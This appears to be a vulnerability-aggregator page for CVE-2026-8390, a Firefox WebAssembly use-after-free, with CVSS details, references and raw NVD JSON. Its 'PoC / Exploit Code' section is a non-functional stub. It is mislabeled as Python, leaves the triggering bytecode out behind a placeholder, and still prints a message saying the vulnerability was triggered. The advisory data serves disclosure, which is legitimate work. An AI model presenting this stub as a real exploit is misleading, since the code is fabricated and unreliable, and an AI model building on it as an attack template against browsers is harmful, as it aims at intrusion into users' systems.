CVE-2026-8390

Description

Use-after-free in the JavaScript: WebAssembly component. This vulnerability was fixed in Firefox 150.0.3.

CVSS Details

CVSS Score

7.3

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:mozilla:firefox:*:*:*:*:-:*:*:* - VULNERABLE

Mozilla Firefox < 150.0.3

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// PoC for CVE-2026-8390: Use-after-free in WebAssembly
// This is a conceptual demonstration.

// Malicious WebAssembly bytecode designed to trigger UAF
const wasmBuffer = new Uint8Array([
    0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, // WASM magic
    0x01, 0x05, 0x01, 0x60, 0x00, 0x00, 0x03, 0x02, 0x01, 0x00, // Type section
    // ... (Specific bytecode to trigger the vulnerability)
]);

async function triggerExploit() {
    try {
        // Step 1: Compile the module
        const module = await WebAssembly.compile(wasmBuffer);
        // Step 2: Instantiate to trigger the vulnerable path
        const instance = await WebAssembly.instantiate(module);
        
        // Step 3: Call the vulnerable function causing Use-after-free
        instance.exports.main();
        console.log("[+] Vulnerability triggered successfully.");
    } catch (e) {
        console.error("[-] Exploit failed:", e);
    }
}

triggerExploit();

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-8390
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-8390
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-8390/
[4] VulDB https://vuldb.com/cve/CVE-2026-8390
[5] https://bugzilla.mozilla.org/show_bug.cgi?id=2038081
[6] https://www.mozilla.org/security/advisories/mfsa2026-45/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-8390", "sourceIdentifier": "[email protected]", "published": "2026-05-12T14:17:12.050", "lastModified": "2026-05-14T18:53:56.003", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use-after-free in the JavaScript: WebAssembly component. This vulnerability was fixed in Firefox 150.0.3."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:-:*:*:*", "versionEndExcluding": "150.0.3", "matchCriteriaId": "B13F359A-1C15-48B4-8319-AD42CC852E8C"}]}]}], "references": [{"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=2038081", "source": "[email protected]", "tags": ["Permissions Required"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-45/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}